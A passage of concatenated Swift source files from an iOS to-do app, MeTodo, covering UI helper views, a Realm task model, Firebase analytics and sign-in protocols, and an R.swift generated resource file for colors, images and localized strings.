<file_sep>/Final Project/MeTodo/Helpers/UIHelper.swift
//
// UIHelper.swift
// MeChat
//
// Created by <NAME> on 4/4/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
/// For Initial an object quickly with your setting
/// Ex: let titleLabel = Init(value: UILabel()) {
/// $0.text = "hell world"
/// $0.textColor = .black
/// }
/// - Parameters:
/// - value: any object you want to create
/// - block: closure for setting your object
/// - Returns: your object
func Init<Type>(value: Type, block: (_ object: Type) -> Void) -> Type {
block(value)
return value
}
<file_sep>/Final Project/MeTodo/View/CustomView/FloatingTextField.swift
//
// FloatingTextField.swift
// MeTodo
//
// Created by <NAME> on 4/15/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
protocol FloatingTextFieldDelegate: class {
func floatingTextField(_ view: FloatingTextField, didTapRightButton button: AppButton)
}
class FloatingTextField: AppView {
weak var delegate: FloatingTextFieldDelegate?
var title: String? {
didSet {
titleLabel.text = title
}
}
var text: String? {
didSet {
textField.text = text
}
}
var isEnableInput: Bool = true {
didSet {
textField.isUserInteractionEnabled = isEnableInput
}
}
var rightIcon: UIImage? {
didSet {
rightButton.setImage(rightIcon, for: .normal)
}
}
var isHiddenRightButton: Bool = false {
didSet {
if isHiddenRightButton {
textField.padding = .init(top: 0, left: 2, bottom: 10, right: 2)
rightButton.isHidden = true
} else {
textField.padding = .init(top: 0, left: 2, bottom: 10, right: rightButtonSize.width + 8)
rightButton.isHidden = false
}
}
}
private let titleLabel = Init(value: AppLabel()) {
$0.font = .systemFont(ofSize: FontSize.Medium, weight: .regular)
$0.text = "Title"
$0.textColor = R.color.titleTextFieldColor()!
}
let textField = Init(value: AppTextField() ) {
$0.font = .systemFont(ofSize: FontSize.Higher, weight: .regular)
$0.textColor = .black
$0.tintColor = .systemGray4
$0.bottomLineWidth = 2.0
}
private let rightButton = Init(value: AppButton() ) {
$0.tintColor = R.color.dimPurpleColor()!
$0.setImage(UIImage(systemName: "book"), for: .normal)
$0.imageView?.contentMode = .scaleAspectFit
$0.addTarget(self, action: #selector(FloatingTextField.didTapRightButton(sender:)), for: .touchUpInside)
$0.imageView?.snp.makeConstraints {
$0.edges.equalToSuperview()
}
}
var rightButtonSize = CGSize(width: 26, height: 26)
override func setupView() {
super.setupView()
addSubview(titleLabel)
addSubview(textField)
addSubview(rightButton)
titleLabel.snp.makeConstraints {
$0.top.equalToSuperview()
$0.left.equalToSuperview()
$0.right.equalToSuperview()
}
textField.snp.makeConstraints {
$0.top.equalTo(titleLabel.snp.bottom).inset(-6)
$0.left.equalToSuperview()
$0.right.equalToSuperview()
$0.bottom.equalToSuperview()
}
textField.padding = .init(top: 0, left: 2, bottom: 10, right: rightButtonSize.width + 8)
rightButton.snp.makeConstraints {
$0.right.equalTo(textField.snp.right)
$0.size.equalTo(rightButtonSize)
$0.top.equalTo(textField)
}
}
@objc func didTapRightButton(sender: AppButton) {
delegate?.floatingTextField(self, didTapRightButton: sender)
}
}
<file_sep>/Final Project/MeTodo/View/BaseView/View Controllers/LiquidViewControllerProtocol.swift
//
// LiquidViewControllerProtocol.swift
// MeTodo
//
// Created by <NAME> on 4/12/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
protocol LiquidViewControllerProtocol: AppViewControllerProtocol {
}
<file_sep>/Final Project/MeTodo/Models/Task.swift
//
// Task.swift
// Todo
//
// Created by <NAME> on 11/27/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import RealmSwift
enum TaskLevel: String , CaseIterable {
case low = "low"
case medium = "medium"
case high = "hight"
var text: String {
switch self {
case .low:
return R.string.localization.low()
case .medium:
return R.string.localization.medium()
case .high:
return R.string.localization.hight()
}
}
}
class Task: Object {
@objc dynamic var id = UUID().uuidString
@objc dynamic var text = ""
@objc dynamic var dueDate = Date(timeIntervalSince1970: 1)
@objc dynamic var level = TaskLevel.low.rawValue
var taskLevel: TaskLevel {
return TaskLevel(rawValue: level)!
}
}
<file_sep>/Final Project/MeTodo/Models/BaseModel.swift
//
// BaseModel.swift
// MeTodo
//
// Created by <NAME> on 4/20/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
protocol BaseModelProtocol {
func generateParams() -> [String: Any]
}
<file_sep>/Final Project/MeTodo/Analytics/AnalyticsManager.swift
//
// AppDimension.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
import Firebase
/**
Base component in charge of logging events on the application.
The goal of this class is to act as a proxy between the app and all the analytics services that are integrated.
Broadcast every event to all of it associated services.
*/
class AnalyticsManager: AnalyticsService {
static let shared = AnalyticsManager()
public func identifyUser(with userId: String) {
Analytics.setUserID(userId)
}
public func log(event: AnalyticsEvent) {
Analytics.logEvent(event.name, parameters: event.parameters)
}
}
<file_sep>/Final Project/MeTodo/Helpers/AppNotification.swift
//
// AppNotification.swift
// MeTodo
//
// Created by <NAME> on 4/12/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
extension Notification.Name {
static var SignInSuccess: Notification.Name {
return .init(rawValue: "UserLogin.success") }
static var SignUpSuccess: Notification.Name {
return .init(rawValue: "UserSignUp.success") }
}
<file_sep>/Final Project/MeTodo/Managers/FirebaseService.swift
//
// FirebaseService.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
import Firebase
protocol FirebaseService {
func signIn(email: String, password: String, success: @escaping () -> Void, failure: @escaping (AppError) -> Void )
func signUp(email: String, password: String, success: @escaping () -> Void, failure: @escaping (AppError) -> Void )
}
<file_sep>/Final Project/MeTodo/ViewModels/AppViewModel.swift
//
// AppViewModel.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
enum ViewModelState: Equatable {
case loading
case idle
case error(AppError)
}
<file_sep>/Final Project/MeTodo/View/BaseView/AppButton.swift
//
// AppButton.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
enum AppButtonType {
case onlyIcon
case iconWithTitle
case onlyTitle
}
class AppButton: UIButton {
var iconSize: CGSize = IconButtonSize.Regular {
didSet {
imageView?.snp.remakeConstraints {
$0.size.equalTo(iconSize)
}
}
}
}
<file_sep>/Final Project/R.generated.swift
//
// This is a generated file, do not edit!
// Generated by R.swift, see https://github.com/mac-cain13/R.swift
//
import Foundation
import Rswift
import UIKit
/// This `R` struct is generated and contains references to static resources.
struct R: Rswift.Validatable {
fileprivate static let applicationLocale = hostingBundle.preferredLocalizations.first.flatMap { Locale(identifier: $0) } ?? Locale.current
fileprivate static let hostingBundle = Bundle(for: R.Class.self)
/// Find first language and bundle for which the table exists
fileprivate static func localeBundle(tableName: String, preferredLanguages: [String]) -> (Foundation.Locale, Foundation.Bundle)? {
// Filter preferredLanguages to localizations, use first locale
var languages = preferredLanguages
.map { Locale(identifier: $0) }
.prefix(1)
.flatMap { locale -> [String] in
if hostingBundle.localizations.contains(locale.identifier) {
if let language = locale.languageCode, hostingBundle.localizations.contains(language) {
return [locale.identifier, language]
} else {
return [locale.identifier]
}
} else if let language = locale.languageCode, hostingBundle.localizations.contains(language) {
return [language]
} else {
return []
}
}
// If there's no languages, use development language as backstop
if languages.isEmpty {
if let developmentLocalization = hostingBundle.developmentLocalization {
languages = [developmentLocalization]
}
} else {
// Insert Base as second item (between locale identifier and languageCode)
languages.insert("Base", at: 1)
// Add development language as backstop
if let developmentLocalization = hostingBundle.developmentLocalization {
languages.append(developmentLocalization)
}
}
// Find first language for which table exists
// Note: key might not exist in chosen language (in that case, key will be shown)
for language in languages {
if let lproj = hostingBundle.url(forResource: language, withExtension: "lproj"),
let lbundle = Bundle(url: lproj)
{
let strings = lbundle.url(forResource: tableName, withExtension: "strings")
let stringsdict = lbundle.url(forResource: tableName, withExtension: "stringsdict")
if strings != nil || stringsdict != nil {
return (Locale(identifier: language), lbundle)
}
}
}
// If table is available in main bundle, don't look for localized resources
let strings = hostingBundle.url(forResource: tableName, withExtension: "strings", subdirectory: nil, localization: nil)
let stringsdict = hostingBundle.url(forResource: tableName, withExtension: "stringsdict", subdirectory: nil, localization: nil)
if strings != nil || stringsdict != nil {
return (applicationLocale, hostingBundle)
}
// If table is not found for requested languages, key will be shown
return nil
}
/// Load string from Info.plist file
fileprivate static func infoPlistString(path: [String], key: String) -> String? {
var dict = hostingBundle.infoDictionary
for step in path {
guard let obj = dict?[step] as? [String: Any] else { return nil }
dict = obj
}
return dict?[key] as? String
}
static func validate() throws {
try intern.validate()
}
#if os(iOS) || os(tvOS)
/// This `R.storyboard` struct is generated, and contains static references to 2 storyboards.
struct storyboard {
/// Storyboard `LaunchScreen`.
static let launchScreen = _R.storyboard.launchScreen()
/// Storyboard `Main`.
static let main = _R.storyboard.main()
#if os(iOS) || os(tvOS)
/// `UIStoryboard(name: "LaunchScreen", bundle: ...)`
static func launchScreen(_: Void = ()) -> UIKit.UIStoryboard {
return UIKit.UIStoryboard(resource: R.storyboard.launchScreen)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIStoryboard(name: "Main", bundle: ...)`
static func main(_: Void = ()) -> UIKit.UIStoryboard {
return UIKit.UIStoryboard(resource: R.storyboard.main)
}
#endif
fileprivate init() {}
}
#endif
/// This `R.color` struct is generated, and contains static references to 10 colors.
struct color {
/// Color `app-background-color`.
static let appBackgroundColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "app-background-color")
/// Color `dim-purple-color`.
static let dimPurpleColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "dim-purple-color")
/// Color `header-color`.
static let headerColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "header-color")
/// Color `light-blue-color`.
static let lightBlueColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "light-blue-color")
/// Color `light-orange-color`.
static let lightOrangeColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "light-orange-color")
/// Color `light-purple-color`.
static let lightPurpleColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "light-purple-color")
/// Color `sign-in-background-color`.
static let signInBackgroundColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "sign-in-background-color")
/// Color `sign-up-background-color`.
static let signUpBackgroundColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "sign-up-background-color")
/// Color `tab-bar-tint-color`.
static let tabBarTintColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "tab-bar-tint-color")
/// Color `title-text-field-color`.
static let titleTextFieldColor = Rswift.ColorResource(bundle: R.hostingBundle, name: "title-text-field-color")
#if os(iOS) || os(tvOS)
/// `UIColor(named: "app-background-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func appBackgroundColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.appBackgroundColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "dim-purple-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func dimPurpleColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.dimPurpleColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "header-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func headerColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.headerColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "light-blue-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func lightBlueColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.lightBlueColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "light-orange-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func lightOrangeColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.lightOrangeColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "light-purple-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func lightPurpleColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.lightPurpleColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "sign-in-background-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func signInBackgroundColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.signInBackgroundColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "sign-up-background-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func signUpBackgroundColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.signUpBackgroundColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "tab-bar-tint-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func tabBarTintColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.tabBarTintColor, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIColor(named: "title-text-field-color", bundle: ..., traitCollection: ...)`
@available(tvOS 11.0, *)
@available(iOS 11.0, *)
static func titleTextFieldColor(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIColor? {
return UIKit.UIColor(resource: R.color.titleTextFieldColor, compatibleWith: traitCollection)
}
#endif
fileprivate init() {}
}
/// This `R.file` struct is generated, and contains static references to 1 files.
struct file {
/// Resource file `GoogleService-Info.plist`.
static let googleServiceInfoPlist = Rswift.FileResource(bundle: R.hostingBundle, name: "GoogleService-Info", pathExtension: "plist")
/// `bundle.url(forResource: "GoogleService-Info", withExtension: "plist")`
static func googleServiceInfoPlist(_: Void = ()) -> Foundation.URL? {
let fileResource = R.file.googleServiceInfoPlist
return fileResource.bundle.url(forResource: fileResource)
}
fileprivate init() {}
}
/// This `R.image` struct is generated, and contains static references to 17 images.
struct image {
/// Image `back`.
static let back = Rswift.ImageResource(bundle: R.hostingBundle, name: "back")
/// Image `books`.
static let books = Rswift.ImageResource(bundle: R.hostingBundle, name: "books")
/// Image `briefcase`.
static let briefcase = Rswift.ImageResource(bundle: R.hostingBundle, name: "briefcase")
/// Image `check`.
static let check = Rswift.ImageResource(bundle: R.hostingBundle, name: "check")
/// Image `checklist`.
static let checklist = Rswift.ImageResource(bundle: R.hostingBundle, name: "checklist")
/// Image `dots`.
static let dots = Rswift.ImageResource(bundle: R.hostingBundle, name: "dots")
/// Image `launch-background`.
static let launchBackground = Rswift.ImageResource(bundle: R.hostingBundle, name: "launch-background")
/// Image `left-arrow-icon`.
static let leftArrowIcon = Rswift.ImageResource(bundle: R.hostingBundle, name: "left-arrow-icon")
/// Image `light`.
static let light = Rswift.ImageResource(bundle: R.hostingBundle, name: "light")
/// Image `menu-tab-icon`.
static let menuTabIcon = Rswift.ImageResource(bundle: R.hostingBundle, name: "menu-tab-icon")
/// Image `person`.
static let person = Rswift.ImageResource(bundle: R.hostingBundle, name: "person")
/// Image `plus`.
static let plus = Rswift.ImageResource(bundle: R.hostingBundle, name: "plus")
/// Image `task-image`.
static let taskImage = Rswift.ImageResource(bundle: R.hostingBundle, name: "task-image")
/// Image `trash`.
static let trash = Rswift.ImageResource(bundle: R.hostingBundle, name: "trash")
/// Image `uncheck`.
static let uncheck = Rswift.ImageResource(bundle: R.hostingBundle, name: "uncheck")
/// Image `updown`.
static let updown = Rswift.ImageResource(bundle: R.hostingBundle, name: "updown")
/// Image `x`.
static let x = Rswift.ImageResource(bundle: R.hostingBundle, name: "x")
#if os(iOS) || os(tvOS)
/// `UIImage(named: "back", bundle: ..., traitCollection: ...)`
static func back(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.back, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "books", bundle: ..., traitCollection: ...)`
static func books(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.books, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "briefcase", bundle: ..., traitCollection: ...)`
static func briefcase(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.briefcase, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "check", bundle: ..., traitCollection: ...)`
static func check(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.check, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "checklist", bundle: ..., traitCollection: ...)`
static func checklist(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.checklist, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "dots", bundle: ..., traitCollection: ...)`
static func dots(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.dots, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "launch-background", bundle: ..., traitCollection: ...)`
static func launchBackground(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.launchBackground, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "left-arrow-icon", bundle: ..., traitCollection: ...)`
static func leftArrowIcon(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.leftArrowIcon, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "light", bundle: ..., traitCollection: ...)`
static func light(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.light, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "menu-tab-icon", bundle: ..., traitCollection: ...)`
static func menuTabIcon(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.menuTabIcon, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "person", bundle: ..., traitCollection: ...)`
static func person(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.person, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "plus", bundle: ..., traitCollection: ...)`
static func plus(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.plus, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "task-image", bundle: ..., traitCollection: ...)`
static func taskImage(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.taskImage, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "trash", bundle: ..., traitCollection: ...)`
static func trash(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.trash, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "uncheck", bundle: ..., traitCollection: ...)`
static func uncheck(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.uncheck, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "updown", bundle: ..., traitCollection: ...)`
static func updown(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.updown, compatibleWith: traitCollection)
}
#endif
#if os(iOS) || os(tvOS)
/// `UIImage(named: "x", bundle: ..., traitCollection: ...)`
static func x(compatibleWith traitCollection: UIKit.UITraitCollection? = nil) -> UIKit.UIImage? {
return UIKit.UIImage(resource: R.image.x, compatibleWith: traitCollection)
}
#endif
fileprivate init() {}
}
/// This `R.info` struct is generated, and contains static references to 1 properties.
struct info {
struct uiApplicationSceneManifest {
static let _key = "UIApplicationSceneManifest"
static let uiApplicationSupportsMultipleScenes = false
struct uiSceneConfigurations {
static let _key = "UISceneConfigurations"
struct uiWindowSceneSessionRoleApplication {
struct defaultConfiguration {
static let _key = "Default Configuration"
static let uiSceneConfigurationName = infoPlistString(path: ["UIApplicationSceneManifest", "UISceneConfigurations", "UIWindowSceneSessionRoleApplication", "Default Configuration"], key: "UISceneConfigurationName") ?? "Default Configuration"
static let uiSceneDelegateClassName = infoPlistString(path: ["UIApplicationSceneManifest", "UISceneConfigurations", "UIWindowSceneSessionRoleApplication", "Default Configuration"], key: "UISceneDelegateClassName") ?? "$(PRODUCT_MODULE_NAME).SceneDelegate"
fileprivate init() {}
}
fileprivate init() {}
}
fileprivate init() {}
}
fileprivate init() {}
}
fileprivate init() {}
}
/// This `R.nib` struct is generated, and contains static references to 1 nibs.
struct nib {
/// Nib `TaskTableViewCell`.
static let taskTableViewCell = _R.nib._TaskTableViewCell()
#if os(iOS) || os(tvOS)
/// `UINib(name: "TaskTableViewCell", in: bundle)`
@available(*, deprecated, message: "Use UINib(resource: R.nib.taskTableViewCell) instead")
static func taskTableViewCell(_: Void = ()) -> UIKit.UINib {
return UIKit.UINib(resource: R.nib.taskTableViewCell)
}
#endif
static func taskTableViewCell(owner ownerOrNil: AnyObject?, options optionsOrNil: [UINib.OptionsKey : Any]? = nil) -> TaskTableViewCell? {
return R.nib.taskTableViewCell.instantiate(withOwner: ownerOrNil, options: optionsOrNil)[0] as? TaskTableViewCell
}
fileprivate init() {}
}
/// This `R.string` struct is generated, and contains static references to 1 localization tables.
struct string {
/// This `R.string.localization` struct is generated, and contains static references to 27 localization keys.
struct localization {
/// en translation: Add a note
///
/// Locales: en, vi
static let addNote = Rswift.StringResource(key: "AddNote", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Are you sure?
///
/// Locales: en, vi
static let deleteTitle = Rswift.StringResource(key: "DeleteTitle", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Cancel
///
/// Locales: en, vi
static let cancel = Rswift.StringResource(key: "Cancel", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Color
///
/// Locales: en, vi
static let color = Rswift.StringResource(key: "Color", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Date
///
/// Locales: en, vi
static let date = Rswift.StringResource(key: "Date", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Delete
///
/// Locales: en, vi
static let delete = Rswift.StringResource(key: "Delete", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Done
///
/// Locales: en, vi
static let done = Rswift.StringResource(key: "Done", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Good afternoon.
///
/// Locales: en, vi
static let goodAfternoon = Rswift.StringResource(key: "GoodAfternoon", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Good evening.
///
/// Locales: en, vi
static let goodEvening = Rswift.StringResource(key: "GoodEvening", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Good morning.
///
/// Locales: en, vi
static let goodMorning = Rswift.StringResource(key: "GoodMorning", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Hight
///
/// Locales: en, vi
static let hight = Rswift.StringResource(key: "Hight", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: I cannot remind you. Please turn on notification 😭
///
/// Locales: en, vi
static let somethingWrongMessage = Rswift.StringResource(key: "SomethingWrongMessage", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Icon
///
/// Locales: en, vi
static let icon = Rswift.StringResource(key: "Icon", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Level
///
/// Locales: en, vi
static let level = Rswift.StringResource(key: "Level", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Low
///
/// Locales: en, vi
static let low = Rswift.StringResource(key: "Low", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Medium
///
/// Locales: en, vi
static let medium = Rswift.StringResource(key: "Medium", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: New Task
///
/// Locales: en, vi
static let newTask = Rswift.StringResource(key: "NewTask", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Note
///
/// Locales: en, vi
static let note = Rswift.StringResource(key: "Note", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Save
///
/// Locales: en, vi
static let save = Rswift.StringResource(key: "Save", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Something went wrong
///
/// Locales: en, vi
static let somethingWrong = Rswift.StringResource(key: "SomethingWrong", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: This list and all it's associated data will be deleted. This cannot be undone
///
/// Locales: en, vi
static let deleteMessage = Rswift.StringResource(key: "DeleteMessage", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Title
///
/// Locales: en, vi
static let title = Rswift.StringResource(key: "Title", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: What do you need to do?
///
/// Locales: en, vi
static let askTodo = Rswift.StringResource(key: "AskTodo", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: You have %d %@ to do
///
/// Locales: en, vi
static let taskMessage = Rswift.StringResource(key: "TaskMessage", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: completed
///
/// Locales: en, vi
static let completed = Rswift.StringResource(key: "Completed", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: task
///
/// Locales: en, vi
static let task = Rswift.StringResource(key: "Task", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: tasks
///
/// Locales: en, vi
static let tasks = Rswift.StringResource(key: "Tasks", tableName: "Localization", bundle: R.hostingBundle, locales: ["en", "vi"], comment: nil)
/// en translation: Add a note
///
/// Locales: en, vi
static func addNote(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("AddNote", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "AddNote"
}
return NSLocalizedString("AddNote", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Are you sure?
///
/// Locales: en, vi
static func deleteTitle(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("DeleteTitle", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "DeleteTitle"
}
return NSLocalizedString("DeleteTitle", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Cancel
///
/// Locales: en, vi
static func cancel(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Cancel", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Cancel"
}
return NSLocalizedString("Cancel", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Color
///
/// Locales: en, vi
static func color(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Color", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Color"
}
return NSLocalizedString("Color", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Date
///
/// Locales: en, vi
static func date(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Date", tableName: "Localization", bundle: hostingBundle, comment: "")
}
